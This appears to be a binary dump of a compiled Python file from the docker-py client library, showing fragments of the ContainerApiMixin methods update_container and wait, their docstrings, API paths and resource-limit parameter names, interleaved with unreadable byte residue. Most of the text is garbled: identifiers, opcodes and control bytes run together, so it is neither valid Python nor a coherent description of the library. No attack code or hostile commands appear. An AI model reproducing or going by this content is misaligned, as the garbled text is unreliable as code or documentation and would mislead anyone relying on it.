:py:class:`docker.errors.APIError` If the server returns an error. z/containers/{0}/update� BlkioWeight� CpuPeriod� CpuShares�CpuQuota� CpusetCpus� CpusetMems�Memory�MemoryReservation� MemorySwap� KernelMemoryz1.23z=restart policy update is not supported for API version < 1.23� RestartPolicy)r; T) r r � parse_bytesr� r| r r� r? r> )r# r � blkio_weight� cpu_period� cpu_quota� cpu_shares� cpuset_cpus� cpuset_mems� mem_limit�mem_reservation� memswap_limit� kernel_memory�restart_policyr� r; rT s r' �update_containerz"ContainerApiMixin.update_container� s' � �B �i�i�0�)�<���� �".�D� � � � *�D�� � � *�D�� � � (�D�� � �!,�D� � � �!,�D� � � � "� .� .�y� 9�D��N� �(-�(9�(9�/�(J�D�$� %� �!&�!2�!2�=�!A�D� � � �#(�#4�#4�]�#C�D� � � �� � �� � �v�6� �+�+�-�� � %3�D� � !��o�o�c��o�-���|�|�C��&�&r) c �� � | j d|� }i }|�:t j | j d� rt j d� �||d< | j |||�� }| j |d� S )a[ Block until a container stops, then return its exit code. Similar to the ``docker wait`` command. Args: container (str or dict): The container to wait on. If a dict, the ``Id`` key is used. timeout (int): Request timeout condition (str): Wait until a container state reaches the given condition, either ``not-running`` (default), ``next-exit``, or ``removed`` Returns: (dict): The API's response as a Python dictionary, including the container's exit code under the ``StatusCode`` attribute. Raises: :py:class:`requests.exceptions.ReadTimeout` If the timeout is exceeded. :py:class:`docker.errors.APIError` If the server returns an error. z/containers/{0}/waitz1.30z6wait condition is not supported for API version < 1.30� condition)r� r T)r r r� r| r r� r r> )r# r r� r r� r rT s r' �waitzContainerApiMixin.wait� s{ � �0 �i�i�.� �:���� � �� � �� � �v�6� �+�+�L�� � #,�F�;� ��j�j��g�f�j�=���|�|�C��&�&r) )TTFFF)NF)NNNNNN) FFFFNN���FN)NNNFFFNNNFNNNNNNNNNNNNTr{ )TTFFrF NNN)FFF)r� )NT) NNNNNNNNNNN)NN)&�__name__� __module__� __qualname__r �check_resourcer( r3 rC rV ry r^ r_ r� r� r� r� r r� r� r� r� r r� r� r� �minimum_versionr� r� r� r� r� r� r� r� r� r� r r � r) r' r r s� � ��U���+�&�48�/4�3� '�3�j �U���+�&�* � '�* �X �U���+�&�CG�/3�! � '�! �F FK�;@� �C�J IM�JN�37�GK�HL�DH�=A�48�*.�R?�h?�'�[+�z1�4">�H �U���+�&� � '� �$ �U���+�&�+B� ?� '�?�, �U���+�&�6M�"'�2 � '�2 �h �U���+�&� � '� �& �U���+�&�$� '�$�, �U���+�&�?D�>B��K� '�K�Z �U���+�&� $� '� $� �U���+�&�/� '�/�b �U���+�&�&� '�&�0 �U���6�"�B� #�B�* �U���+�&�$� '�$�, �U���+�&�$� '�$�" �U���+�&�$� '�$�$ �U���+�&�$� '�$�. �U���+�&�#$� '�#$�J �U���+�&� +� '� +�< �U���+�&�$� '�$�6 �U���+�&�?� '�?�* �U���+�&� $� '� $� �U���6�"��U���+�&�GK�GK�@D�� >'� '� #�>'�@ �U���+�&�!'� '�!'r) r N) r � r r � constantsr �typesr r r r r r r r) r' �<module>r s, �� � � � /� %� #� "� � $�K'� K'r)
Save